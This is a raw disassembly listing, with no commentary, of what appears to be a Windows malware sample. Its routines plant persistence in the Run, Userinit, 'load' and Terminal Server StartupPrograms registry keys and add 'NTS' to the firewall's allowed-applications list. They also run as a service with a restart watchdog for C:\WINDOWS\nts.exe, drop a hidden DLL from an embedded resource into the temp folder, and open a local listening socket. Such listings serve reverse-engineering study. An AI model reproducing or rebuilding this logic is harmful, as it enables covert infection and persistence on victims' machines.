push [ebp+arg_C]
call sub_4485D1
pop ecx
inc eax
push eax
push [ebp+arg_C]
push 1
push 0
push [ebp+arg_8]
push [ebp+var_4]
call dword_411E28 ; RegSetValueExA
push [ebp+var_4]
call dword_411E2C ; RegCloseKey
loc_44630B: ; CODE XREF: sub_4462B9+29j
mov esp, ebp
pop ebp
retn
sub_4462B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44630F proc near ; CODE XREF: sub_446417+3Bp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push eax
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
mov esi, [ebp+arg_0]
push esi
call sub_4485D1
pop ecx
mov edi, eax
push [ebp+var_4]
call sub_4485D1
pop ecx
mov ebx, eax
jmp short loc_446353
; ---------------------------------------------------------------------------
loc_446335: ; CODE XREF: sub_44630F+46j
push ebx
push [ebp+var_4]
push ebx
push esi
push 1
push 400h
call dword_411CFC ; CompareStringA
cmp eax, 2
jnz short loc_446351
mov eax, esi
jmp short loc_446359
; ---------------------------------------------------------------------------
loc_446351: ; CODE XREF: sub_44630F+3Cj
inc esi
dec edi
loc_446353: ; CODE XREF: sub_44630F+24j
cmp edi, ebx
jge short loc_446335
xor eax, eax
loc_446359: ; CODE XREF: sub_44630F+40j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44630F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_446360 proc near ; CODE XREF: sub_446417+23p
; sub_4464C6+4Ap ...
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_C]
mov edi, [ebp+arg_10]
cmp edi, 1
jl short loc_44637B
test esi, esi
jnz short loc_446382
loc_44637B: ; CODE XREF: sub_446360+15j
xor eax, eax
jmp loc_446410
; ---------------------------------------------------------------------------
loc_446382: ; CODE XREF: sub_446360+19j
lea eax, [ebp+var_8]
push eax
push 0F003Fh
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call dword_411E30 ; RegOpenKeyExA
test eax, eax
jz short loc_4463A1
xor eax, eax
jmp short loc_446410
; ---------------------------------------------------------------------------
loc_4463A1: ; CODE XREF: sub_446360+3Bj
push [ebp+arg_4]
push offset aRegreadOpenedS ; "RegRead(): opened %s\n"
call nullsub_4
pop ecx
pop ecx
push edi
push 0
push esi
call sub_448551
add esp, 0Ch
lea eax, [edi-1]
mov [ebp+var_4], eax
lea eax, [ebp+var_4]
push eax
push esi
lea eax, [ebp+var_10]
push eax
push 0
push ebx
push [ebp+var_8]
call dword_411E68 ; RegQueryValueExA
mov [ebp+var_C], eax
push [ebp+var_8]
call dword_411E2C ; RegCloseKey
cmp [ebp+var_C], 0
jnz short loc_446401
push esi
push ebx
push [ebp+var_4]
push offset aRegreadReadIBy ; "RegRead(): read %i bytes from %s (%s)\n"
call nullsub_4
add esp, 10h
mov eax, [ebp+var_4]
dec eax
jmp short loc_446410
; ---------------------------------------------------------------------------
loc_446401: ; CODE XREF: sub_446360+87j
push ebx
push offset aRegreadCanTRea ; "RegRead(): can't read key %s\n"
call nullsub_4
pop ecx
pop ecx
xor eax, eax
loc_446410: ; CODE XREF: sub_446360+1Dj
; sub_446360+3Fj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_446360 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_446417 proc near ; CODE XREF: sub_4464C6+23p
; sub_44655C+24p ...
var_2000 = byte ptr -2000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, 2000h
call sub_4486B1
push ebx
push 2000h
lea eax, [ebp+var_2000]
push eax
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_446360
add esp, 14h
mov ebx, eax
test eax, eax
jz short loc_446464
push [ebp+arg_C]
lea eax, [ebp+var_2000]
push eax
call sub_44630F
pop ecx
pop ecx
test eax, eax
jz short loc_446462
xor eax, eax
inc eax
jmp short loc_446464
; ---------------------------------------------------------------------------
loc_446462: ; CODE XREF: sub_446417+44j
xor eax, eax
loc_446464: ; CODE XREF: sub_446417+2Fj
; sub_446417+49j
pop ebx
mov esp, ebp
pop ebp
retn
sub_446417 endp
; =============== S U B R O U T I N E =======================================
sub_446469 proc near ; CODE XREF: sub_4466F5+1Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
mov ebx, [esp+0Ch+arg_0]
mov esi, [esp+0Ch+arg_8]
mov edi, [esp+0Ch+arg_C]
test edi, edi
jz short loc_446482
mov byte ptr [ebx], 22h
inc ebx
jmp short loc_446485
; ---------------------------------------------------------------------------
loc_446482: ; CODE XREF: sub_446469+11j
mov byte ptr [ebx], 0
loc_446485: ; CODE XREF: sub_446469+17j
push [esp+0Ch+arg_4]
push ebx
call sub_4485F1
pop ecx
pop ecx
push [esp+0Ch+arg_4]
call sub_4485D1
pop ecx
add ebx, eax
test edi, edi
jz short loc_4464A5
mov byte ptr [ebx], 22h
inc ebx
loc_4464A5: ; CODE XREF: sub_446469+36j
test esi, esi
jz short loc_4464BF
mov byte ptr [ebx], 20h
inc ebx
push esi
push ebx
call sub_4485F1
pop ecx
pop ecx
push esi
call sub_4485D1
pop ecx
add ebx, eax
loc_4464BF: ; CODE XREF: sub_446469+3Ej
mov byte ptr [ebx], 0
pop edi
pop esi
pop ebx
retn
sub_446469 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4464C6 proc near ; CODE XREF: sub_4466F5+78p
var_2000 = byte ptr -2000h
push ebp
mov ebp, esp
mov eax, 2000h
call sub_4486B1
push ebx
push dword_4128A4
push offset aStartupprogram ; "StartupPrograms"
push offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"...
push 80000002h
call sub_446417
add esp, 10h
test eax, eax
jnz short loc_446557
push 2000h
lea eax, [ebp+var_2000]
push eax
push offset aStartupprogram ; "StartupPrograms"
push offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"...
push 80000002h
call sub_446360
add esp, 14h
mov ebx, eax
test ebx, ebx
jnz short loc_446525
mov [ebp+var_2000], 0
loc_446525: ; CODE XREF: sub_4464C6+56j
push dword_4128A4
lea eax, [ebp+var_2000]
push eax
call sub_448611
pop ecx
pop ecx
lea eax, [ebp+var_2000]
push eax
push offset aStartupprogram ; "StartupPrograms"
push offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"...
push 80000002h
call sub_4462B9
add esp, 10h
loc_446557: ; CODE XREF: sub_4464C6+2Dj
pop ebx
mov esp, ebp
pop ebp
retn
sub_4464C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44655C proc near ; CODE XREF: sub_4466F5+7Dp
var_2000 = byte ptr -2000h
push ebp
mov ebp, esp
mov eax, 2000h
call sub_4486B1
push ebx
push esi
push dword_4128A4
push offset aUserinit ; "Userinit"
push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
push 80000002h
call sub_446417
add esp, 10h
test eax, eax
jnz loc_44662E
push 2000h
lea eax, [ebp+var_2000]
push eax
push offset aUserinit ; "Userinit"
push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
push 80000002h
call sub_446360
add esp, 14h
mov ebx, eax
test ebx, ebx
jnz short loc_4465C0
mov [ebp+var_2000], 0
loc_4465C0: ; CODE XREF: sub_44655C+5Bj
cmp [ebp+var_2000], 0
jz short loc_4465E5
lea esi, [ebp+var_2000]
jmp short loc_4465D2
; ---------------------------------------------------------------------------
loc_4465D1: ; CODE XREF: sub_44655C+79j
inc esi
loc_4465D2: ; CODE XREF: sub_44655C+73j
cmp byte ptr [esi], 0
jnz short loc_4465D1
dec esi
cmp byte ptr [esi], 2Ch
jz short loc_4465E5
inc esi
mov byte ptr [esi], 2Ch
inc esi
mov byte ptr [esi], 0
loc_4465E5: ; CODE XREF: sub_44655C+6Bj
; sub_44655C+7Fj
push dword_4128A4
lea eax, [ebp+var_2000]
push eax
call sub_448611
pop ecx
pop ecx
test ebx, ebx
jnz short loc_446610
push offset asc_40E73B ; ","
lea eax, [ebp+var_2000]
push eax
call sub_448611
pop ecx
pop ecx
loc_446610: ; CODE XREF: sub_44655C+9Fj
lea eax, [ebp+var_2000]
push eax
push offset aUserinit ; "Userinit"
push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
push 80000002h
call sub_4462B9
add esp, 10h
loc_44662E: ; CODE XREF: sub_44655C+2Ej
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44655C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_446634 proc near ; CODE XREF: sub_4466F5+82p
var_2000 = byte ptr -2000h
push ebp
mov ebp, esp
mov eax, 2000h
call sub_4486B1
push ebx
push esi
push dword_4128A4
push offset aLoad ; "load"
push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
push 80000002h
call sub_446417
add esp, 10h
test eax, eax
jnz loc_4466EF
push 2000h
lea eax, [ebp+var_2000]
push eax
push offset aLoad ; "load"
push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
push 80000002h
call sub_446360
add esp, 14h
mov ebx, eax
test ebx, ebx
jnz short loc_446698
mov [ebp+var_2000], 0
loc_446698: ; CODE XREF: sub_446634+5Bj
cmp [ebp+var_2000], 0
jz short loc_4466BD
lea esi, [ebp+var_2000]
jmp short loc_4466AA
; ---------------------------------------------------------------------------
loc_4466A9: ; CODE XREF: sub_446634+79j
inc esi
loc_4466AA: ; CODE XREF: sub_446634+73j
cmp byte ptr [esi], 0
jnz short loc_4466A9
dec esi
cmp byte ptr [esi], 2Ch
jz short loc_4466BD
inc esi
mov byte ptr [esi], 2Ch
inc esi
mov byte ptr [esi], 0
loc_4466BD: ; CODE XREF: sub_446634+6Bj
; sub_446634+7Fj
push dword_4128A4
lea eax, [ebp+var_2000]
push eax
call sub_448611
pop ecx
pop ecx
lea eax, [ebp+var_2000]
push eax
push offset aLoad ; "load"
push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
push 80000002h
call sub_4462B9
add esp, 10h
loc_4466EF: ; CODE XREF: sub_446634+2Ej
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_446634 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4466F5 proc near ; CODE XREF: sub_447672+557p
var_2000 = byte ptr -2000h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 2000h
call sub_4486B1
push 1
push offset asc_40E6FF ; "*"
push [ebp+arg_0]
lea eax, [ebp+var_2000]
push eax
call sub_446469
add esp, 10h
push offset aWritingToHklmA ; "writing to HKLM/autorun key...\n"
call nullsub_4
pop ecx
lea eax, [ebp+var_2000]
push eax
push offset aNetworkTransla ; "Network Translation Service"
push offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
push 80000002h
call sub_4462B9
add esp, 10h
push offset aWritingToHkcuA ; "writing to HKCU/autorun key...\n"
call nullsub_4
pop ecx
lea eax, [ebp+var_2000]
push eax
push offset aNetworkTransla ; "Network Translation Service"
push offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
push 80000001h
call sub_4462B9
add esp, 10h
call sub_4464C6
call sub_44655C
call sub_446634
mov esp, ebp
pop ebp
retn
sub_4466F5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_446780 proc near ; CODE XREF: sub_447672+236p
var_2000 = byte ptr -2000h
push ebp
mov ebp, esp
mov eax, 2000h
call sub_4486B1
mov [ebp+var_2000], 0
push dword_4128A4
lea eax, [ebp+var_2000]
push eax
call sub_448611
pop ecx
pop ecx
push offset aEnabled ; ":*:Enabled:"
lea eax, [ebp+var_2000]
push eax
call sub_448611
pop ecx
pop ecx
push offset aNts ; "NTS"
lea eax, [ebp+var_2000]
push eax
call sub_448611
pop ecx
pop ecx
lea eax, [ebp+var_2000]
push eax
push dword_4128A4
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
push 80000002h
call sub_4462B9
add esp, 10h
mov esp, ebp
pop ebp
retn
sub_446780 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4467F1 proc near ; CODE XREF: DMN1:00446A0Fp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push 14h
push 40h
call dword_411CE0 ; LocalAlloc
mov [ebp+var_10], eax
push 1
push [ebp+var_10]
call dword_411E38 ; InitializeSecurityDescriptor
push 0
push 0
push 1
push [ebp+var_10]
call dword_411E3C ; SetSecurityDescriptorDacl
mov [ebp+var_C], 0Ch
mov eax, [ebp+var_10]
mov [ebp+var_8], eax
mov [ebp+var_4], 1
push offset a6ea9b038C801_0 ; "{6EA9B038-C801-4F76-805F-E41ACF9ED164}"
push 0
push 0
lea eax, [ebp+var_C]
push eax
call dword_411D40 ; CreateEventA
mov ebx, eax
test ebx, ebx
jz short loc_44685B
push offset aEventCreated_ ; "EVENT CREATED.\n"
call sub_4481E1
pop ecx
jmp short loc_44686E
; ---------------------------------------------------------------------------
loc_44685B: ; CODE XREF: sub_4467F1+5Bj
call dword_411CE8 ; RtlGetLastWin32Error
push eax
push offset aEventCreatonEr ; "EVENT CREATON ERROR: %i\n"
call sub_4481E1
pop ecx
pop ecx
loc_44686E: ; CODE XREF: sub_4467F1+68j
push 0
push 0
push offset sub_405BE3
call sub_448891
add esp, 0Ch
push eax
call dword_411CF8 ; CloseHandle
push 0
push 0
push offset sub_406677
call sub_448891
add esp, 0Ch
mov esi, eax
loc_446899: ; CODE XREF: sub_4467F1:loc_4468E8j
test ebx, ebx
jz short loc_4468D3
push offset aWaitingForStop ; "WAITING FOR STOP EVENT!\n"
call sub_4481E1
pop ecx
mov [ebp+var_18], esi
mov [ebp+var_14], ebx
push 0FFFFFFFFh
push 0
lea eax, [ebp+var_18]
push eax
push 2
call dword_411D48 ; WaitForMultipleObjects
mov edi, eax
test edi, edi
jz short loc_4468C9
cmp edi, 1
jnz short loc_4468E8
loc_4468C9: ; CODE XREF: sub_4467F1+D1j
push 1
call sub_448961
pop ecx
jmp short loc_4468E8
; ---------------------------------------------------------------------------
loc_4468D3: ; CODE XREF: sub_4467F1+AAj
push 0FFFFFFFFh
push esi
call dword_411D34 ; WaitForSingleObject
test eax, eax
jnz short loc_4468E8
push 1
call sub_448961
pop ecx
loc_4468E8: ; CODE XREF: sub_4467F1+D6j
; sub_4467F1+E0j ...
jmp short loc_446899
sub_4467F1 endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
mov eax, [esp+4]
cmp eax, 3
jz short loc_446906
cmp eax, 4
jz short loc_446923
cmp eax, 5
jz short loc_446936
jmp short locret_446959
; ---------------------------------------------------------------------------
loc_446906: ; CODE XREF: DMN1:004468F8j
mov dword_41293C, 4
push offset dword_412938
push dword_412954
call dword_411E6C ; SetServiceStatus
jmp short locret_446959
; ---------------------------------------------------------------------------
loc_446923: ; CODE XREF: DMN1:004468FDj
push offset dword_412938
push dword_412954
call dword_411E6C ; SetServiceStatus
jmp short locret_446959
; ---------------------------------------------------------------------------
loc_446936: ; CODE XREF: DMN1:00446902j
mov dword_41293C, 1
push offset dword_412938
push dword_412954
call dword_411E6C ; SetServiceStatus
push 1
call sub_448961
pop ecx
locret_446959: ; CODE XREF: DMN1:00446904j
; DMN1:00446921j ...
retn 4
; ---------------------------------------------------------------------------
push offset aServicectrldis ; "ServiceCtrlDispatcher()\n"
call sub_4481E1
pop ecx
push offset loc_405970
push off_412958
call dword_411E70 ; RegisterServiceCtrlHandlerA
mov dword_412954, eax
cmp dword_412954, 0
jz loc_446A3C
push 1
push offset dword_411044
call dword_411D04 ; InterlockedExchange
push 1Ch
push 0
push offset dword_412938
call sub_448551
add esp, 0Ch
mov dword_412938, 110h
mov dword_41293C, 2
and dword_412940, 0
mov dword_412950, 9C4h
push offset aSetservicestat ; "SetServiceStatus(): start pending\n"
call sub_4481E1
pop ecx
push offset dword_412938
push dword_412954
call dword_411E6C ; SetServiceStatus
mov dword_41293C, 4
push offset aSetservicest_0 ; "SetServiceStatus(): running\n"
call sub_4481E1
pop ecx
push offset dword_412938
push dword_412954
call dword_411E6C ; SetServiceStatus
call sub_4467F1
; ---------------------------------------------------------------------------
mov dword_41293C, 1
push offset aSetservicest_1 ; "SetServiceStatus(): stopped\n"
call sub_4481E1
pop ecx
push offset dword_412938
push dword_412954
call dword_411E6C ; SetServiceStatus
jmp short locret_446A47
; ---------------------------------------------------------------------------
loc_446A3C: ; CODE XREF: DMN1:00446984j
push offset aRegisterservic ; "RegisterServiceCtrlHandler() failed %-("...
call sub_4481E1
pop ecx
locret_446A47: ; CODE XREF: DMN1:00446A3Aj
retn 8
; =============== S U B R O U T I N E =======================================
sub_446A4A proc near ; CODE XREF: DMN1:00446A90p
; sub_447672+532p
push ebx
call sub_44508F
test eax, eax
jz short loc_446A58
xor eax, eax
jmp short loc_446A8E
; ---------------------------------------------------------------------------
loc_446A58: ; CODE XREF: sub_446A4A+8j
mov eax, off_412958
mov dword_41295C, eax
mov dword_412960, offset loc_4059DB
and dword_412964, 0
and dword_412968, 0
push offset dword_41295C
call dword_411E74 ; StartServiceCtrlDispatcherA
mov ebx, eax
call sub_4450E3
mov eax, ebx
loc_446A8E: ; CODE XREF: sub_446A4A+Cj
pop ebx
retn
sub_446A4A endp
; ---------------------------------------------------------------------------
call sub_446A4A
call sub_448921
retn
; ---------------------------------------------------------------------------
call sub_445DD7
mov dword_411040, eax
call sub_448921
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_446AAB proc near ; CODE XREF: DMN1:00446BC8p
; sub_447672+1F7p
var_854 = dword ptr -854h
var_850 = dword ptr -850h
var_844 = byte ptr -844h
var_44 = dword ptr -44h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 854h
push 44h
push 0
lea eax, [ebp+var_44]
push eax
call sub_448551
add esp, 0Ch
mov [ebp+var_44], 44h
push offset asc_40EDC7 ; "\""
lea eax, [ebp+var_844]
push eax
call sub_4485F1
pop ecx
pop ecx
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
lea eax, [ebp+var_844]
push eax
call sub_448611
pop ecx
pop ecx
push offset asc_40E5AD ; "\" "
lea eax, [ebp+var_844]
push eax
call sub_448611
pop ecx
pop ecx
cmp [ebp+arg_0], 0
jz short loc_446B1B
push [ebp+arg_0]
lea eax, [ebp+var_844]
push eax
call sub_448611
pop ecx
pop ecx
loc_446B1B: ; CODE XREF: sub_446AAB+5Dj
lea eax, [ebp+var_854]
push eax
lea eax, [ebp+var_44]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp+var_844]
push eax
push 0
call dword_411D10 ; CreateProcessA
test eax, eax
jz short loc_446B60
push [ebp+var_850]
call dword_411CF8 ; CloseHandle
push [ebp+var_854]
call dword_411CF8 ; CloseHandle
xor eax, eax
inc eax
loc_446B60: ; CODE XREF: sub_446AAB+98j
mov esp, ebp
pop ebp
retn
sub_446AAB endp
; ---------------------------------------------------------------------------
push ebx
push esi
push offset aServicefixerth ; "ServiceFixerThread started.\n"
call nullsub_4
pop ecx
loc_446B71: ; CODE XREF: DMN1:loc_446BF9j
xor ebx, ebx
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
call dword_411D4C ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_446BEE
call sub_445C39
test eax, eax
jz short loc_446BAD
call sub_446032
test eax, eax
jnz short loc_446B9C
call sub_446108
loc_446B9C: ; CODE XREF: DMN1:00446B95j
call sub_445D89
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_446BBA
xor ebx, ebx
inc ebx
jmp short loc_446BBA
; ---------------------------------------------------------------------------
loc_446BAD: ; CODE XREF: DMN1:00446B8Cj
call sub_445EAB
cmp eax, 0FFFFFFFFh
jnz short loc_446BBA
xor ebx, ebx
inc ebx
loc_446BBA: ; CODE XREF: DMN1:00446BA6j
; DMN1:00446BABj ...
test ebx, ebx
jz short loc_446BE1
call sub_4450E3
push offset asc_40E58D ; "**"
call sub_446AAB
pop ecx
test eax, eax
jz short loc_446BDA
push 0
call sub_448961
pop ecx
loc_446BDA: ; CODE XREF: DMN1:00446BD0j
call sub_44508F
jmp short loc_446BF9
; ---------------------------------------------------------------------------
loc_446BE1: ; CODE XREF: DMN1:00446BBCj
push 1F4h
call dword_411D00 ; Sleep
jmp short loc_446BF9
; ---------------------------------------------------------------------------
loc_446BEE: ; CODE XREF: DMN1:00446B83j
push 2710h
call dword_411D00 ; Sleep
loc_446BF9: ; CODE XREF: DMN1:00446BDFj
; DMN1:00446BECj
jmp loc_446B71
; ---------------------------------------------------------------------------
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push eax
push ebx
push esi
mov eax, [ebp+8]
mov esi, eax
push dword_41296C
call dword_411D50 ; ResetEvent
loc_446C18: ; CODE XREF: DMN1:00446C4Cj
mov byte ptr [ebp-1], 0
push 1
lea eax, [ebp-1]
push eax
push esi
call sub_44265D
add esp, 0Ch
mov ebx, eax
test ebx, ebx
jle short loc_446C4E
cmp byte ptr [ebp-1], 2Ah
jnz short loc_446C4E
push 1
lea eax, [ebp-1]
push eax
push esi
call sub_442708
add esp, 0Ch
mov ebx, eax
test ebx, ebx
jle short loc_446C4E
jmp short loc_446C18
; ---------------------------------------------------------------------------
loc_446C4E: ; CODE XREF: DMN1:00446C2Fj
; DMN1:00446C35j ...
push esi
call sub_442443
pop ecx
push offset aDlltestthreadP ; "DLLTestThread: pulsing...\n"
call nullsub_4
pop ecx
push dword_41296C
call dword_411D44 ; SetEvent
call sub_448921
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 8
call sub_4422DA
mov dword_41104C, eax
push offset aDlltestlistent ; "DLLTestListenThread: binding...\n"
call nullsub_4
pop ecx
push 15B7h
push 100007Fh
push dword_41104C
call sub_442538
add esp, 0Ch
test eax, eax
jz short loc_446D17
push offset aDlltestliste_0 ; "DLLTestListenThread: listening...\n"
call nullsub_4
pop ecx
push dword_41104C
call sub_442588
pop ecx
test eax, eax
jz short loc_446D17
push offset aDlltestliste_1 ; "DLLTestListenThread: accepting...\n"
call nullsub_4
pop ecx
push dword_41104C
call sub_4425A2
pop ecx
mov [ebp-4], eax
test eax, eax
jz short loc_446D17
mov eax, [ebp-4]
push eax
push 0
push offset sub_405C80
call sub_448891
add esp, 0Ch
mov [ebp-8], eax
push eax
call dword_411CF8 ; CloseHandle
push dword_41104C
call sub_442443
pop ecx
and dword_41104C, 0
loc_446D17: ; CODE XREF: DMN1:00446CACj
; DMN1:00446CC7j ...
cmp dword_41104C, 0
jz short loc_446D2C
push dword_41104C
call sub_442443
pop ecx
loc_446D2C: ; CODE XREF: DMN1:00446D1Ej
push offset aDlltestliste_2 ; "DLLTestListenThread: done...\n"
call nullsub_4
pop ecx
call sub_448921
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_446D40 proc near ; CODE XREF: sub_4472FE+14p
arg_0 = dword ptr 4
push ebx
push esi
mov ebx, [esp+8+arg_0]
mov esi, [ebx]
jmp short loc_446D52
; ---------------------------------------------------------------------------
loc_446D4A: ; CODE XREF: sub_446D40+14j
call dword_411CC4 ; GetTickCount
mov esi, eax
loc_446D52: ; CODE XREF: sub_446D40+8j
test esi, esi
jz short loc_446D4A
mov eax, esi
mov edx, 41C64E6Dh
mul edx
lea esi, [eax+3039h]
mov [ebx], esi
mov eax, esi
shr eax, 10h
and eax, 7FFFh
pop esi
pop ebx
retn
sub_446D40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_446D74 proc near ; CODE XREF: sub_446E7F+9Ep
; sub_446E7F+109p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
cmp dword_411054, 0
jz short loc_446D9C
push dword_411054
call dword_411CF8 ; CloseHandle
and dword_411054, 0
loc_446D9C: ; CODE XREF: sub_446D74+13j
push 0Ah
push offset a8001 ; "#8001"
push 0
call dword_411D54 ; FindResourceA
mov esi, eax
test eax, eax
jz loc_446E78
push esi
push 0
call dword_411D58 ; SizeofResource
mov [ebp+var_4], eax
push [ebp+var_4]
push offset aResourceHereSi ; "resource here, size: %i\n"
call nullsub_4
pop ecx
pop ecx
push esi
push 0
call dword_411D5C ; LoadResource
mov [ebp+var_8], eax
test eax, eax
jz loc_446E78
push [ebp+var_8]
call dword_411D60 ; LockResource
mov [ebp+var_C], eax
test eax, eax
jz loc_446E78
push 80h
push ebx
call dword_411D28 ; SetFileAttributesA
push offset aWb ; "wb+"
push ebx
call sub_448281
pop ecx
pop ecx
mov edi, eax
test edi, edi
jnz short loc_446E28
push ebx
push offset aFileSNotCreate ; "file <%s> NOT created\n"
call nullsub_4
pop ecx
pop ecx
xor eax, eax
jmp short loc_446E78
; ---------------------------------------------------------------------------
loc_446E28: ; CODE XREF: sub_446D74+A1j
push ebx
push offset aFileSCreated ; "file <%s> created\n"
call nullsub_4
pop ecx
pop ecx
push edi
push 1
mov eax, [ebp+var_4]
push eax
push [ebp+var_C]
call sub_4486E1
add esp, 10h
mov [ebp+var_10], eax
push edi
call sub_4484E1
pop ecx
push [ebp+var_10]
push ebx
push offset aFileSWrittenWs ; "file <%s> written, wsz=%i\n"
call nullsub_4
add esp, 0Ch
push 7
push ebx
call dword_411D28 ; SetFileAttributesA
cmp [ebp+var_10], 1
jz short loc_446E75
xor eax, eax
jmp short loc_446E78
; ---------------------------------------------------------------------------
loc_446E75: ; CODE XREF: sub_446D74+FBj
xor eax, eax
inc eax
loc_446E78: ; CODE XREF: sub_446D74+3Bj
; sub_446D74+6Aj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_446D74 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_446E7F proc near ; CODE XREF: DMN1:loc_4474D2p
var_1004 = dword ptr -1004h
var_1000 = byte ptr -1000h
push ebp
mov ebp, esp
mov eax, 1004h
call sub_4486B1
cmp dword_411050, 0
jz short loc_446ED5
push offset aR ; "r"
push offset dword_412970
call sub_448281
pop ecx
pop ecx
mov [ebp+var_1004], eax
test eax, eax
jz short loc_446ED5
push offset dword_412970
push offset aOldDllS ; "old DLL: <%s>\n"
call nullsub_4
pop ecx
pop ecx
push [ebp+var_1004]
call sub_4484E1
pop ecx
xor eax, eax
inc eax
jmp loc_446FBF
; ---------------------------------------------------------------------------
loc_446ED5: ; CODE XREF: sub_446E7F+14j
; sub_446E7F+2Fj
push offset dword_412970
push 0FFFh
call dword_411D1C ; GetTempPathA
push offset aNts_ ; "nts_"
push offset dword_412970
call sub_448611
pop ecx
pop ecx
push offset a000_tmp ; "000.tmp"
push offset dword_412970
call sub_448611
pop ecx
pop ecx
push offset dword_412970
push offset aCheckingDllS ; "checking DLL: <%s>\n"
call nullsub_4
pop ecx
pop ecx
push offset dword_412970
call sub_446D74
pop ecx
test eax, eax
jz short loc_446F47
push offset dword_412970
push offset aDllFoundS ; " DLL found: <%s>\n"
call nullsub_4
pop ecx
pop ecx
mov dword_411050, 1
xor eax, eax
inc eax
jmp short loc_446FBF
; ---------------------------------------------------------------------------
loc_446F47: ; CODE XREF: sub_446E7F+A6j
lea eax, [ebp+var_1000]
push eax
push 0FFFh
call dword_411D1C ; GetTempPathA
push offset dword_412970
push 0
push offset aNts_ ; "nts_"
lea eax, [ebp+var_1000]
push eax
call dword_411D20 ; GetTempFileNameA
push offset dword_412970
push offset aTryingDllS ; "trying DLL: <%s>\n"
call nullsub_4
pop ecx
pop ecx
push offset dword_412970
call sub_446D74
pop ecx
test eax, eax
jz short loc_446FB2
push offset dword_412970
push offset aDllOkS ; "DLL ok: <%s>\n"
call nullsub_4
pop ecx
pop ecx
mov dword_411050, 1
xor eax, eax
inc eax
jmp short loc_446FBF
; ---------------------------------------------------------------------------
loc_446FB2: ; CODE XREF: sub_446E7F+111j
push offset aDllNotExtracte ; "DLL not extracted.\n"
call nullsub_4
pop ecx
xor eax, eax
loc_446FBF: ; CODE XREF: sub_446E7F+51j
; sub_446E7F+C6j ...
mov esp, ebp
pop ebp
retn
sub_446E7F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_446FC3 proc near ; CODE XREF: sub_447167+6p
; sub_44722F+12p ...
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
